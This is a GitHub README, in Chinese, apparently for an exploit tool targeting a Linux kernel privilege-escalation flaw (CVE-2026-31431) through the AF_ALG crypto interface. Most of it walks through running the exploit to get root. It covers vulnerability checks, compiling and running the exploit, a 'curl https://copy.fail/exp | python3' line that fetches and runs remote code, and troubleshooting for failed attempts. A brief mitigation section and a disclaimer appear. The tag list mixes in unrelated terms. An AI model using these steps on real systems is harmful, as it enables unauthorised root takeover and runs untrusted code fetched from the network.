painoob/Copy-Fail-Exploit-CVE-2026-31431
GitHub: painoob/Copy-Fail-Exploit-CVE-2026-31431
利用 Linux 内核 AF_ALG 加密 API 逻辑缺陷,通过覆写 SUID 二进制文件页缓存实现本地提权至 root 的漏洞利用工具。
Stars: 43 | Forks: 7
# Copy Fail (CVE-2026-31431) – 漏洞利用指南
## ⚠️ 免责声明
本内容仅供教育和授权安全测试使用。请**勿**在未获得明确许可的系统上运行。
## 📌 概述
**Copy Fail (CVE-2026-31431)** 是一个 Linux 本地提权 (LPE) 漏洞,通过 `AF_ALG` 影响内核加密 API。
它允许无特权用户覆盖 SUID 二进制文件(例如 `/usr/bin/su`)的页缓存数据,从而获取 root 权限。
## 🧠 前置条件
### 系统要求
- Linux 内核(存在漏洞 —— 取决于补丁状态)
- 已启用 `AF_ALG`
- 已加载 `algif_aead` 模块
### Python 漏洞利用程序要求
- Python **3.10+**
- 支持以下特性:
- `os.splice`
- `socket(AF_ALG)`
## 🔍 检查漏洞
```
uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg
```
预期指标:
- `authencesn(hmac(sha256),cbc(aes))`
- 已加载 `algif_aead`
## 🐍 运行 Python 漏洞利用程序
### 1. 直接执行
```
python3 copy_fail_exp.py
```
### 2. 或通过 curl(如果远程托管)
```
curl https://copy.fail/exp | python3
```
### 3. 触发 root shell
```
su
id
```
预期结果:
```
uid=0(root)
```
## ⚠️ 常见问题
### ❌ 错误:`os.splice not found`
原因:
- Python 版本 < 3.10
- 受限构建版本
解决方案:
- 使用较新的 Python 二进制文件
- 上传静态链接的 Python 解释器
## ⚙️ 编译 C 语言版本
### 1. 编译
```
gcc copy_fail_exp.c -o copy_fail
```
### 2. 赋予执行权限
```
chmod +x copy_fail
```
### 3. 运行漏洞利用程序
```
./copy_fail
su
```
## ⚠️ 常见问题 (C)
### ❌ 漏洞利用程序运行但未获取 root
可能的原因:
- 内核已打补丁
- 偏移量不正确
- 环境不匹配
### ❌ 编译错误
安装所需的工具:
```
apt update && apt install build-essential
```
## 🧪 故障排除
### 检查系统是否已打补丁
```
dmesg | grep -i alg
```
### 验证模块
```
lsmod | grep algif_aead
```
## 🛡️ 缓解措施
### 禁用易受攻击的模块
```
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
```
### 应用内核补丁
更新您的系统:
```
apt update && apt upgrade
```
## 📌 备注
- 漏洞利用程序仅修改**页缓存**(非持久化)
- 需要本地访问权限
- 默认情况下无法远程利用
## 🧠 最终见解
如果漏洞利用失败,请考虑:
- 内核已打补丁
- 环境限制
- 其他提权途径(SUID、capabilities、sudo 配置错误)
## 📚 参考资料
- https://copy.fail/
- CVE-2026-31431
## 👨💻 作者备注
请仅在实验室、CTF 和授权渗透测试中负责任地使用此漏洞利用程序。
标签:0day, AF_ALG, Copy Fail, CVE-2026-31431, exp, Linux内核, LPE, Page Cache, Python, Root提权, SUID, Web报告查看器, Zero-Day, 内核加密API, 子域名枚举, 安全渗透, 提权脚本, 数据展示, 无后门, 本地提权, 漏洞复现, 系统安全, 红队, 网络安全, 逆向工具, 隐私保护, 页面缓存